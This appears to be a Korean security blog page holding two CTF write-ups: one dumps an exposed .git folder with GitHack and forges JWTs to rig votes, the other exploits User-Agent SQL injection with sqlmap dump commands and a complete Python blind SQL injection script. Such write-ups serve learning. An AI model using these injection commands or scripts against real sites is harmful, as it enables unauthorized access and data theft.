'CTF'에 해당되는 글 2건

반응형

크리스마스 당일에는 약속이 있어 대회가 끝난 다음날 문제를 풀어보았다.


문제에 접근하면 음악을 업로드하는 페이지와 음악리스트, 순위 등등 페이지가 존재한다.


음악 업로드는 mp3와 wav로 화이트리스트 기반으로 되어있어 웹쉘 업로드 문제는 아니였다.


음악을 업로드하고 여기저기 돌아다니다가 robots.txt 파일을 요청하여 /xmas/.git 경로가 존재한다는 것을 획득하였다.


 .git이란?

 - git init을 통해 새로운 git 저장소를 생성하였을 때 생기는 폴더로 해당 폴더 안에는 버전 정보, 커밋 정보, 로그 정보 등등이 들어있다.


이제 git cat-file 명령어를 통해 하나씩 로그 파일을 읽어볼 수 있지만 간단한 파이썬 모듈이 있다.


이는 GitHack 모듈로 간단히 명령어 한 줄로 해당 git repository의 파일들을 다운받을 수 있다.


명령어 : GitHack.py http://ch4n3.me:8080/xmas/.git/


이를 통해 php 파일들을 받을 수 있고, 이 중 flag.php 파일을 확인해보았다.



$flag 변수에 flag가 들어가있지만 다운받은 소스코드 상에는 마스킹처리가 되어 있는 상황이다.

따라서 if 구문의 끝에 die($flag)를 통해 flag를 획득해야하는데 이를 위한 조건은 내가 업로드한 음악이 1225개 이상 투표를 받으면 flag를 획득할 수 있다.


이를 위해 user_no를 변경해가며 jwt 를 생성하여 내가 올린 음악을 투표하도록 하는 php code를 만들어 flag를 획득하였다.



FLAG : XMAS{Last Christmas~ I gave you my heart~ <3}

반응형

'Hacking Contest' 카테고리의 다른 글

UTCTF 2020  (1) 2020.03.08
[Christmas CTF 2019] JWT  (0) 2019.12.26
[Kipod After Free CTF 2019]  (0) 2019.12.24
2019 X-MAS CTF  (0) 2019.12.18
[Rooters CTF] baby web  (0) 2019.10.10
블로그 이미지

rootable

,
반응형

해당 문제는 2018 Xmas-CTF를 복구한 문제입니다.


문제에 접근하면 액세스 거부! 라는 글이 보인다.

돌아다녀봐도 사용자로부터 입력을 받는 파라미터나 버튼이 없는 것을 확인하였다.


나는 여기서 [공인된 컴퓨터] 라는 것에서 힌트를 얻었다.

user-agent 부분에서 뭔가 되지 않을까 싶어 SQL Injection을 시도하였고 성공하였다.




위와 같이 User-Agent 부분에 Injection 구문을 넣은 결과 아래와 같이 [환영합니다] 라는 문구가 떴다.



여기부터 2가지 방식으로 진행하였다.


방법1. SqlMap 활용 > Time Based SQL Injection


1) DB 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 --dbs

 - user-agent에 대한 공격을 진행하기 위해서는 level 3으로 지정해주어야 한다.


2) TABLE 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db --tables


3) column Name 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db -T uas --columns


4) 데이터 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db -T uas -C ua --dump



방법 2. Blind SQL Injection


1) 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import urllib2

flag = ""
url = "http://ctf.j0n9hyun.xyz:2029/"
request = urllib2.Request(url)

for chr_l in range(1,41):
    print "[-] find "+ str(chr_l)+"'s letter"
    binary=''

    for bin_l in range(1,8):
        request.add_header('User-Agent',"' or (select substr(lpad(bin(ascii(substr(ua,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1) from uas)=1 and '1'='1")
        if("color: green;" in urllib2.urlopen(request).read()):
            binary += '1'
        else:
            binary += '0'
        print binary

    flag = flag + ('%x' % int(binary,2)).decode('hex')
    print flag

print flag

cs

2) 결과




반응형

'Solve Problem > HackCTF' 카테고리의 다른 글

[HackCTF] LOL  (2) 2019.11.20
[HackCTF] Secret Document  (0) 2018.12.31
[HackCTF] 가위바위보  (0) 2018.12.28
[HackCTF] Secure Login  (0) 2018.12.02
블로그 이미지

rootable

,